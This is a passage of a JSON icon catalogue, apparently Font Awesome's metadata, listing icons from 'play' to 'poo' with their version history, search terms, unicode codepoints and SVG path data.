        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M176 32c44.2 0 80 35.8 80 80v16c0 8.8-7.2 16-16 16c-44.2 0-80-35.8-80-80V48c0-8.8 7.2-16 16-16zM56 64h48c13.3 0 24 10.7 24 24s-10.7 24-24 24H56c-13.3 0-24-10.7-24-24s10.7-24 24-24zM24 136H136c13.3 0 24 10.7 24 24s-10.7 24-24 24H24c-13.3 0-24-10.7-24-24s10.7-24 24-24zm8 96c0-13.3 10.7-24 24-24h48c13.3 0 24 10.7 24 24s-10.7 24-24 24H56c-13.3 0-24-10.7-24-24zM272 48c0-8.8 7.2-16 16-16c44.2 0 80 35.8 80 80v16c0 8.8-7.2 16-16 16c-44.2 0-80-35.8-80-80V48zM400 32c44.2 0 80 35.8 80 80v16c0 8.8-7.2 16-16 16c-44.2 0-80-35.8-80-80V48c0-8.8 7.2-16 16-16zm80 160v16c0 44.2-35.8 80-80 80c-8.8 0-16-7.2-16-16V256c0-44.2 35.8-80 80-80c8.8 0 16 7.2 16 16zM352 176c8.8 0 16 7.2 16 16v16c0 44.2-35.8 80-80 80c-8.8 0-16-7.2-16-16V256c0-44.2 35.8-80 80-80zm-96 16v16c0 44.2-35.8 80-80 80c-8.8 0-16-7.2-16-16V256c0-44.2 35.8-80 80-80c8.8 0 16 7.2 16 16zM3.5 347.6C1.6 332.9 13 320 27.8 320H484.2c14.8 0 26.2 12.9 24.4 27.6C502.3 397.8 464.2 437 416 446v2c0 17.7-14.3 32-32 32H128c-17.7 0-32-14.3-32-32v-2c-48.2-9-86.3-48.2-92.5-98.4z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M176 32c44.2 0 80 35.8 80 80v16c0 8.8-7.2 16-16 16c-44.2 0-80-35.8-80-80V48c0-8.8 7.2-16 16-16zM56 64h48c13.3 0 24 10.7 24 24s-10.7 24-24 24H56c-13.3 0-24-10.7-24-24s10.7-24 24-24zM24 136H136c13.3 0 24 10.7 24 24s-10.7 24-24 24H24c-13.3 0-24-10.7-24-24s10.7-24 24-24zm8 96c0-13.3 10.7-24 24-24h48c13.3 0 24 10.7 24 24s-10.7 24-24 24H56c-13.3 0-24-10.7-24-24zM272 48c0-8.8 7.2-16 16-16c44.2 0 80 35.8 80 80v16c0 8.8-7.2 16-16 16c-44.2 0-80-35.8-80-80V48zM400 32c44.2 0 80 35.8 80 80v16c0 8.8-7.2 16-16 16c-44.2 0-80-35.8-80-80V48c0-8.8 7.2-16 16-16zm80 160v16c0 44.2-35.8 80-80 80c-8.8 0-16-7.2-16-16V256c0-44.2 35.8-80 80-80c8.8 0 16 7.2 16 16zM352 176c8.8 0 16 7.2 16 16v16c0 44.2-35.8 80-80 80c-8.8 0-16-7.2-16-16V256c0-44.2 35.8-80 80-80zm-96 16v16c0 44.2-35.8 80-80 80c-8.8 0-16-7.2-16-16V256c0-44.2 35.8-80 80-80c8.8 0 16 7.2 16 16zM3.5 347.6C1.6 332.9 13 320 27.8 320H484.2c14.8 0 26.2 12.9 24.4 27.6C502.3 397.8 464.2 437 416 446v2c0 17.7-14.3 32-32 32H128c-17.7 0-32-14.3-32-32v-2c-48.2-9-86.3-48.2-92.5-98.4z"
      }
    },
    "free": ["solid"]
  },
  "play": {
    "aliases": {
      "unicodes": {
        "composite": ["25b6"],
        "secondary": ["10f04b"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "arrow",
        "audio",
        "music",
        "play",
        "play button",
        "playing",
        "right",
        "sound",
        "start",
        "triangle",
        "video"
      ]
    },
    "styles": ["solid"],
    "unicode": "f04b",
    "label": "Play",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766675,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M73 39c-14.8-9.1-33.4-9.4-48.5-.9S0 62.6 0 80V432c0 17.4 9.4 33.4 24.5 41.9s33.7 8.1 48.5-.9L361 297c14.3-8.7 23-24.2 23-41s-8.7-32.2-23-41L73 39z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M73 39c-14.8-9.1-33.4-9.4-48.5-.9S0 62.6 0 80V432c0 17.4 9.4 33.4 24.5 41.9s33.7 8.1 48.5-.9L361 297c14.3-8.7 23-24.2 23-41s-8.7-32.2-23-41L73 39z"
      }
    },
    "free": ["solid"]
  },
  "playstation": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3df",
    "label": "PlayStation",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014471,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M570.9 372.3c-11.3 14.2-38.8 24.3-38.8 24.3L327 470.2v-54.3l150.9-53.8c17.1-6.1 19.8-14.8 5.8-19.4-13.9-4.6-39.1-3.3-56.2 2.9L327 381.1v-56.4c23.2-7.8 47.1-13.6 75.7-16.8 40.9-4.5 90.9.6 130.2 15.5 44.2 14 49.2 34.7 38 48.9zm-224.4-92.5v-139c0-16.3-3-31.3-18.3-35.6-11.7-3.8-19 7.1-19 23.4v347.9l-93.8-29.8V32c39.9 7.4 98 24.9 129.2 35.4C424.1 94.7 451 128.7 451 205.2c0 74.5-46 102.8-104.5 74.6zM43.2 410.2c-45.4-12.8-53-39.5-32.3-54.8 19.1-14.2 51.7-24.9 51.7-24.9l134.5-47.8v54.5l-96.8 34.6c-17.1 6.1-19.7 14.8-5.8 19.4 13.9 4.6 39.1 3.3 56.2-2.9l46.4-16.9v48.8c-51.6 9.3-101.4 7.3-153.9-10z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M570.9 372.3c-11.3 14.2-38.8 24.3-38.8 24.3L327 470.2v-54.3l150.9-53.8c17.1-6.1 19.8-14.8 5.8-19.4-13.9-4.6-39.1-3.3-56.2 2.9L327 381.1v-56.4c23.2-7.8 47.1-13.6 75.7-16.8 40.9-4.5 90.9.6 130.2 15.5 44.2 14 49.2 34.7 38 48.9zm-224.4-92.5v-139c0-16.3-3-31.3-18.3-35.6-11.7-3.8-19 7.1-19 23.4v347.9l-93.8-29.8V32c39.9 7.4 98 24.9 129.2 35.4C424.1 94.7 451 128.7 451 205.2c0 74.5-46 102.8-104.5 74.6zM43.2 410.2c-45.4-12.8-53-39.5-32.3-54.8 19.1-14.2 51.7-24.9 51.7-24.9l134.5-47.8v54.5l-96.8 34.6c-17.1 6.1-19.7 14.8-5.8 19.4 13.9 4.6 39.1 3.3 56.2-2.9l46.4-16.9v48.8c-51.6 9.3-101.4 7.3-153.9-10z"
      }
    },
    "free": ["brands"]
  },
  "plug": {
    "aliases": {
      "unicodes": {
        "composite": ["1f50c"],
        "secondary": ["10f1e6"]
      }
    },
    "changes": [
      "4.2.0",
      "5.0.0",
      "5.12.0",
      "6.0.0-beta1",
      "6.1.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "connect",
        "electric",
        "electric plug",
        "electricity",
        "online",
        "plug",
        "power"
      ]
    },
    "styles": ["solid"],
    "unicode": "f1e6",
    "label": "Plug",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767443,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M96 0C78.3 0 64 14.3 64 32v96h64V32c0-17.7-14.3-32-32-32zM288 0c-17.7 0-32 14.3-32 32v96h64V32c0-17.7-14.3-32-32-32zM32 160c-17.7 0-32 14.3-32 32s14.3 32 32 32v32c0 77.4 55 142 128 156.8V480c0 17.7 14.3 32 32 32s32-14.3 32-32V412.8C297 398 352 333.4 352 256V224c17.7 0 32-14.3 32-32s-14.3-32-32-32H32z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M96 0C78.3 0 64 14.3 64 32v96h64V32c0-17.7-14.3-32-32-32zM288 0c-17.7 0-32 14.3-32 32v96h64V32c0-17.7-14.3-32-32-32zM32 160c-17.7 0-32 14.3-32 32s14.3 32 32 32v32c0 77.4 55 142 128 156.8V480c0 17.7 14.3 32 32 32s32-14.3 32-32V412.8C297 398 352 333.4 352 256V224c17.7 0 32-14.3 32-32s-14.3-32-32-32H32z"
      }
    },
    "free": ["solid"]
  },
  "plug-circle-bolt": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["electric", "electricity", "plug", "power"]
    },
    "styles": ["solid"],
    "unicode": "e55b",
    "label": "Plug Circle Bolt",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767442,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M96 0C78.3 0 64 14.3 64 32v96h64V32c0-17.7-14.3-32-32-32zM288 0c-17.7 0-32 14.3-32 32v96h64V32c0-17.7-14.3-32-32-32zM32 160c-17.7 0-32 14.3-32 32s14.3 32 32 32v32c0 77.4 55 142 128 156.8V480c0 17.7 14.3 32 32 32s32-14.3 32-32V412.8c12.3-2.5 24.1-6.4 35.1-11.5c-2.1-10.8-3.1-21.9-3.1-33.3c0-80.3 53.8-148 127.3-169.2c.5-2.2 .7-4.5 .7-6.8c0-17.7-14.3-32-32-32H32zM432 512a144 144 0 1 0 0-288 144 144 0 1 0 0 288zm47.9-225c4.3 3.7 5.4 9.9 2.6 14.9L452.4 356H488c5.2 0 9.8 3.3 11.4 8.2s-.1 10.3-4.2 13.4l-96 72c-4.5 3.4-10.8 3.2-15.1-.6s-5.4-9.9-2.6-14.9L411.6 380H376c-5.2 0-9.8-3.3-11.4-8.2s.1-10.3 4.2-13.4l96-72c4.5-3.4 10.8-3.2 15.1 .6z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M96 0C78.3 0 64 14.3 64 32v96h64V32c0-17.7-14.3-32-32-32zM288 0c-17.7 0-32 14.3-32 32v96h64V32c0-17.7-14.3-32-32-32zM32 160c-17.7 0-32 14.3-32 32s14.3 32 32 32v32c0 77.4 55 142 128 156.8V480c0 17.7 14.3 32 32 32s32-14.3 32-32V412.8c12.3-2.5 24.1-6.4 35.1-11.5c-2.1-10.8-3.1-21.9-3.1-33.3c0-80.3 53.8-148 127.3-169.2c.5-2.2 .7-4.5 .7-6.8c0-17.7-14.3-32-32-32H32zM432 512a144 144 0 1 0 0-288 144 144 0 1 0 0 288zm47.9-225c4.3 3.7 5.4 9.9 2.6 14.9L452.4 356H488c5.2 0 9.8 3.3 11.4 8.2s-.1 10.3-4.2 13.4l-96 72c-4.5 3.4-10.8 3.2-15.1-.6s-5.4-9.9-2.6-14.9L411.6 380H376c-5.2 0-9.8-3.3-11.4-8.2s.1-10.3 4.2-13.4l96-72c4.5-3.4 10.8-3.2 15.1 .6z"
      }
    },
    "free": ["solid"]
  },
  "plug-circle-check": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "electric",
        "electricity",
        "not affected",
        "ok",
        "okay",
        "plug",
        "power"
      ]
    },
    "styles": ["solid"],
    "unicode": "e55c",
    "label": "Plug Circle Check",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767442,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M96 0C78.3 0 64 14.3 64 32v96h64V32c0-17.7-14.3-32-32-32zM288 0c-17.7 0-32 14.3-32 32v96h64V32c0-17.7-14.3-32-32-32zM32 160c-17.7 0-32 14.3-32 32s14.3 32 32 32v32c0 77.4 55 142 128 156.8V480c0 17.7 14.3 32 32 32s32-14.3 32-32V412.8c12.3-2.5 24.1-6.4 35.1-11.5c-2.1-10.8-3.1-21.9-3.1-33.3c0-80.3 53.8-148 127.3-169.2c.5-2.2 .7-4.5 .7-6.8c0-17.7-14.3-32-32-32H32zM576 368a144 144 0 1 0 -288 0 144 144 0 1 0 288 0zm-76.7-43.3c6.2 6.2 6.2 16.4 0 22.6l-72 72c-6.2 6.2-16.4 6.2-22.6 0l-40-40c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0L416 385.4l60.7-60.7c6.2-6.2 16.4-6.2 22.6 0z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M96 0C78.3 0 64 14.3 64 32v96h64V32c0-17.7-14.3-32-32-32zM288 0c-17.7 0-32 14.3-32 32v96h64V32c0-17.7-14.3-32-32-32zM32 160c-17.7 0-32 14.3-32 32s14.3 32 32 32v32c0 77.4 55 142 128 156.8V480c0 17.7 14.3 32 32 32s32-14.3 32-32V412.8c12.3-2.5 24.1-6.4 35.1-11.5c-2.1-10.8-3.1-21.9-3.1-33.3c0-80.3 53.8-148 127.3-169.2c.5-2.2 .7-4.5 .7-6.8c0-17.7-14.3-32-32-32H32zM576 368a144 144 0 1 0 -288 0 144 144 0 1 0 288 0zm-76.7-43.3c6.2 6.2 6.2 16.4 0 22.6l-72 72c-6.2 6.2-16.4 6.2-22.6 0l-40-40c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0L416 385.4l60.7-60.7c6.2-6.2 16.4-6.2 22.6 0z"
      }
    },
    "free": ["solid"]
  },
  "plug-circle-exclamation": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["affected", "electric", "electricity", "plug", "power"]
    },
    "styles": ["solid"],
    "unicode": "e55d",
    "label": "Plug Circle Exclamation",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767441,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M96 0C78.3 0 64 14.3 64 32v96h64V32c0-17.7-14.3-32-32-32zM288 0c-17.7 0-32 14.3-32 32v96h64V32c0-17.7-14.3-32-32-32zM32 160c-17.7 0-32 14.3-32 32s14.3 32 32 32v32c0 77.4 55 142 128 156.8V480c0 17.7 14.3 32 32 32s32-14.3 32-32V412.8c12.3-2.5 24.1-6.4 35.1-11.5c-2.1-10.8-3.1-21.9-3.1-33.3c0-80.3 53.8-148 127.3-169.2c.5-2.2 .7-4.5 .7-6.8c0-17.7-14.3-32-32-32H32zM432 512a144 144 0 1 0 0-288 144 144 0 1 0 0 288zm0-96a24 24 0 1 1 0 48 24 24 0 1 1 0-48zm0-144c8.8 0 16 7.2 16 16v80c0 8.8-7.2 16-16 16s-16-7.2-16-16V288c0-8.8 7.2-16 16-16z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M96 0C78.3 0 64 14.3 64 32v96h64V32c0-17.7-14.3-32-32-32zM288 0c-17.7 0-32 14.3-32 32v96h64V32c0-17.7-14.3-32-32-32zM32 160c-17.7 0-32 14.3-32 32s14.3 32 32 32v32c0 77.4 55 142 128 156.8V480c0 17.7 14.3 32 32 32s32-14.3 32-32V412.8c12.3-2.5 24.1-6.4 35.1-11.5c-2.1-10.8-3.1-21.9-3.1-33.3c0-80.3 53.8-148 127.3-169.2c.5-2.2 .7-4.5 .7-6.8c0-17.7-14.3-32-32-32H32zM432 512a144 144 0 1 0 0-288 144 144 0 1 0 0 288zm0-96a24 24 0 1 1 0 48 24 24 0 1 1 0-48zm0-144c8.8 0 16 7.2 16 16v80c0 8.8-7.2 16-16 16s-16-7.2-16-16V288c0-8.8 7.2-16 16-16z"
      }
    },
    "free": ["solid"]
  },
  "plug-circle-minus": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["electric", "electricity", "plug", "power"]
    },
    "styles": ["solid"],
    "unicode": "e55e",
    "label": "Plug Circle Minus",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767441,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M96 0C78.3 0 64 14.3 64 32v96h64V32c0-17.7-14.3-32-32-32zM288 0c-17.7 0-32 14.3-32 32v96h64V32c0-17.7-14.3-32-32-32zM32 160c-17.7 0-32 14.3-32 32s14.3 32 32 32v32c0 77.4 55 142 128 156.8V480c0 17.7 14.3 32 32 32s32-14.3 32-32V412.8c12.3-2.5 24.1-6.4 35.1-11.5c-2.1-10.8-3.1-21.9-3.1-33.3c0-80.3 53.8-148 127.3-169.2c.5-2.2 .7-4.5 .7-6.8c0-17.7-14.3-32-32-32H32zM576 368a144 144 0 1 0 -288 0 144 144 0 1 0 288 0zm-64 0c0 8.8-7.2 16-16 16H368c-8.8 0-16-7.2-16-16s7.2-16 16-16H496c8.8 0 16 7.2 16 16z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M96 0C78.3 0 64 14.3 64 32v96h64V32c0-17.7-14.3-32-32-32zM288 0c-17.7 0-32 14.3-32 32v96h64V32c0-17.7-14.3-32-32-32zM32 160c-17.7 0-32 14.3-32 32s14.3 32 32 32v32c0 77.4 55 142 128 156.8V480c0 17.7 14.3 32 32 32s32-14.3 32-32V412.8c12.3-2.5 24.1-6.4 35.1-11.5c-2.1-10.8-3.1-21.9-3.1-33.3c0-80.3 53.8-148 127.3-169.2c.5-2.2 .7-4.5 .7-6.8c0-17.7-14.3-32-32-32H32zM576 368a144 144 0 1 0 -288 0 144 144 0 1 0 288 0zm-64 0c0 8.8-7.2 16-16 16H368c-8.8 0-16-7.2-16-16s7.2-16 16-16H496c8.8 0 16 7.2 16 16z"
      }
    },
    "free": ["solid"]
  },
  "plug-circle-plus": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["electric", "electricity", "plug", "power"]
    },
    "styles": ["solid"],
    "unicode": "e55f",
    "label": "Plug Circle Plus",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767442,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M96 0C78.3 0 64 14.3 64 32v96h64V32c0-17.7-14.3-32-32-32zM288 0c-17.7 0-32 14.3-32 32v96h64V32c0-17.7-14.3-32-32-32zM32 160c-17.7 0-32 14.3-32 32s14.3 32 32 32v32c0 77.4 55 142 128 156.8V480c0 17.7 14.3 32 32 32s32-14.3 32-32V412.8c12.3-2.5 24.1-6.4 35.1-11.5c-2.1-10.8-3.1-21.9-3.1-33.3c0-80.3 53.8-148 127.3-169.2c.5-2.2 .7-4.5 .7-6.8c0-17.7-14.3-32-32-32H32zM432 512a144 144 0 1 0 0-288 144 144 0 1 0 0 288zm16-208v48h48c8.8 0 16 7.2 16 16s-7.2 16-16 16H448v48c0 8.8-7.2 16-16 16s-16-7.2-16-16V384H368c-8.8 0-16-7.2-16-16s7.2-16 16-16h48V304c0-8.8 7.2-16 16-16s16 7.2 16 16z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M96 0C78.3 0 64 14.3 64 32v96h64V32c0-17.7-14.3-32-32-32zM288 0c-17.7 0-32 14.3-32 32v96h64V32c0-17.7-14.3-32-32-32zM32 160c-17.7 0-32 14.3-32 32s14.3 32 32 32v32c0 77.4 55 142 128 156.8V480c0 17.7 14.3 32 32 32s32-14.3 32-32V412.8c12.3-2.5 24.1-6.4 35.1-11.5c-2.1-10.8-3.1-21.9-3.1-33.3c0-80.3 53.8-148 127.3-169.2c.5-2.2 .7-4.5 .7-6.8c0-17.7-14.3-32-32-32H32zM432 512a144 144 0 1 0 0-288 144 144 0 1 0 0 288zm16-208v48h48c8.8 0 16 7.2 16 16s-7.2 16-16 16H448v48c0 8.8-7.2 16-16 16s-16-7.2-16-16V384H368c-8.8 0-16-7.2-16-16s7.2-16 16-16h48V304c0-8.8 7.2-16 16-16s16 7.2 16 16z"
      }
    },
    "free": ["solid"]
  },
  "plug-circle-xmark": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["destroy", "electric", "electricity", "outage", "plug", "power"]
    },
    "styles": ["solid"],
    "unicode": "e560",
    "label": "Plug Circle Xmark",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767442,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M96 0C78.3 0 64 14.3 64 32v96h64V32c0-17.7-14.3-32-32-32zM288 0c-17.7 0-32 14.3-32 32v96h64V32c0-17.7-14.3-32-32-32zM32 160c-17.7 0-32 14.3-32 32s14.3 32 32 32v32c0 77.4 55 142 128 156.8V480c0 17.7 14.3 32 32 32s32-14.3 32-32V412.8c12.3-2.5 24.1-6.4 35.1-11.5c-2.1-10.8-3.1-21.9-3.1-33.3c0-80.3 53.8-148 127.3-169.2c.5-2.2 .7-4.5 .7-6.8c0-17.7-14.3-32-32-32H32zM432 512a144 144 0 1 0 0-288 144 144 0 1 0 0 288zm59.3-180.7L454.6 368l36.7 36.7c6.2 6.2 6.2 16.4 0 22.6s-16.4 6.2-22.6 0L432 390.6l-36.7 36.7c-6.2 6.2-16.4 6.2-22.6 0s-6.2-16.4 0-22.6L409.4 368l-36.7-36.7c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0L432 345.4l36.7-36.7c6.2-6.2 16.4-6.2 22.6 0s6.2 16.4 0 22.6z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M96 0C78.3 0 64 14.3 64 32v96h64V32c0-17.7-14.3-32-32-32zM288 0c-17.7 0-32 14.3-32 32v96h64V32c0-17.7-14.3-32-32-32zM32 160c-17.7 0-32 14.3-32 32s14.3 32 32 32v32c0 77.4 55 142 128 156.8V480c0 17.7 14.3 32 32 32s32-14.3 32-32V412.8c12.3-2.5 24.1-6.4 35.1-11.5c-2.1-10.8-3.1-21.9-3.1-33.3c0-80.3 53.8-148 127.3-169.2c.5-2.2 .7-4.5 .7-6.8c0-17.7-14.3-32-32-32H32zM432 512a144 144 0 1 0 0-288 144 144 0 1 0 0 288zm59.3-180.7L454.6 368l36.7 36.7c6.2 6.2 6.2 16.4 0 22.6s-16.4 6.2-22.6 0L432 390.6l-36.7 36.7c-6.2 6.2-16.4 6.2-22.6 0s-6.2-16.4 0-22.6L409.4 368l-36.7-36.7c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0L432 345.4l36.7-36.7c6.2-6.2 16.4-6.2 22.6 0s6.2 16.4 0 22.6z"
      }
    },
    "free": ["solid"]
  },
  "plus": {
    "aliases": {
      "names": ["add"],
      "unicodes": {
        "composite": ["2795", "f067"],
        "primary": ["f067"],
        "secondary": ["102b", "10f067"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.0.13",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "+",
        "Plus Sign",
        "add",
        "create",
        "expand",
        "math",
        "new",
        "plus",
        "positive",
        "shape",
        "sign"
      ]
    },
    "styles": ["solid"],
    "unicode": "2b",
    "label": "Plus",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767245,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M256 80c0-17.7-14.3-32-32-32s-32 14.3-32 32V224H48c-17.7 0-32 14.3-32 32s14.3 32 32 32H192V432c0 17.7 14.3 32 32 32s32-14.3 32-32V288H400c17.7 0 32-14.3 32-32s-14.3-32-32-32H256V80z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M256 80c0-17.7-14.3-32-32-32s-32 14.3-32 32V224H48c-17.7 0-32 14.3-32 32s14.3 32 32 32H192V432c0 17.7 14.3 32 32 32s32-14.3 32-32V288H400c17.7 0 32-14.3 32-32s-14.3-32-32-32H256V80z"
      }
    },
    "free": ["solid"]
  },
  "plus-minus": {
    "changes": ["6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Plus-Minus Sign", "add", "math", "subtract"]
    },
    "styles": ["solid"],
    "unicode": "e43c",
    "label": "Plus Minus",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767244,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M224 32c0-17.7-14.3-32-32-32s-32 14.3-32 32V144H48c-17.7 0-32 14.3-32 32s14.3 32 32 32H160V320c0 17.7 14.3 32 32 32s32-14.3 32-32V208H336c17.7 0 32-14.3 32-32s-14.3-32-32-32H224V32zM0 480c0 17.7 14.3 32 32 32H352c17.7 0 32-14.3 32-32s-14.3-32-32-32H32c-17.7 0-32 14.3-32 32z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M224 32c0-17.7-14.3-32-32-32s-32 14.3-32 32V144H48c-17.7 0-32 14.3-32 32s14.3 32 32 32H160V320c0 17.7 14.3 32 32 32s32-14.3 32-32V208H336c17.7 0 32-14.3 32-32s-14.3-32-32-32H224V32zM0 480c0 17.7 14.3 32 32 32H352c17.7 0 32-14.3 32-32s-14.3-32-32-32H32c-17.7 0-32 14.3-32 32z"
      }
    },
    "free": ["solid"]
  },
  "podcast": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f2ce"]
      }
    },
    "changes": ["4.7.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["audio", "broadcast", "music", "sound"]
    },
    "styles": ["solid"],
    "unicode": "f2ce",
    "label": "Podcast",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766675,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M319.4 372c48.5-31.3 80.6-85.9 80.6-148c0-97.2-78.8-176-176-176S48 126.8 48 224c0 62.1 32.1 116.6 80.6 148c1.2 17.3 4 38 7.2 57.1l.2 1C56 395.8 0 316.5 0 224C0 100.3 100.3 0 224 0S448 100.3 448 224c0 92.5-56 171.9-136 206.1l.2-1.1c3.1-19.2 6-39.8 7.2-57zm-2.3-38.1c-1.6-5.7-3.9-11.1-7-16.2c-5.8-9.7-13.5-17-21.9-22.4c19.5-17.6 31.8-43 31.8-71.3c0-53-43-96-96-96s-96 43-96 96c0 28.3 12.3 53.8 31.8 71.3c-8.4 5.4-16.1 12.7-21.9 22.4c-3.1 5.1-5.4 10.5-7 16.2C99.8 307.5 80 268 80 224c0-79.5 64.5-144 144-144s144 64.5 144 144c0 44-19.8 83.5-50.9 109.9zM224 312c32.9 0 64 8.6 64 43.8c0 33-12.9 104.1-20.6 132.9c-5.1 19-24.5 23.4-43.4 23.4s-38.2-4.4-43.4-23.4c-7.8-28.5-20.6-99.7-20.6-132.8c0-35.1 31.1-43.8 64-43.8zm0-144a56 56 0 1 1 0 112 56 56 0 1 1 0-112z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M319.4 372c48.5-31.3 80.6-85.9 80.6-148c0-97.2-78.8-176-176-176S48 126.8 48 224c0 62.1 32.1 116.6 80.6 148c1.2 17.3 4 38 7.2 57.1l.2 1C56 395.8 0 316.5 0 224C0 100.3 100.3 0 224 0S448 100.3 448 224c0 92.5-56 171.9-136 206.1l.2-1.1c3.1-19.2 6-39.8 7.2-57zm-2.3-38.1c-1.6-5.7-3.9-11.1-7-16.2c-5.8-9.7-13.5-17-21.9-22.4c19.5-17.6 31.8-43 31.8-71.3c0-53-43-96-96-96s-96 43-96 96c0 28.3 12.3 53.8 31.8 71.3c-8.4 5.4-16.1 12.7-21.9 22.4c-3.1 5.1-5.4 10.5-7 16.2C99.8 307.5 80 268 80 224c0-79.5 64.5-144 144-144s144 64.5 144 144c0 44-19.8 83.5-50.9 109.9zM224 312c32.9 0 64 8.6 64 43.8c0 33-12.9 104.1-20.6 132.9c-5.1 19-24.5 23.4-43.4 23.4s-38.2-4.4-43.4-23.4c-7.8-28.5-20.6-99.7-20.6-132.8c0-35.1 31.1-43.8 64-43.8zm0-144a56 56 0 1 1 0 112 56 56 0 1 1 0-112z"
      }
    },
    "free": ["solid"]
  },
  "poo": {
    "aliases": {
      "unicodes": {
        "composite": ["1f4a9"],
        "secondary": ["10f2fe"]
      }
    },
    "changes": ["5.0.0", "5.0.9", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "crap",
        "dung",
        "face",
        "monster",
        "pile of poo",
        "poo",
        "poop",
        "shit",
        "smile",
        "turd"
      ]
    },
    "styles": ["solid"],
    "unicode": "f2fe",
    "label": "Poo",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767602,
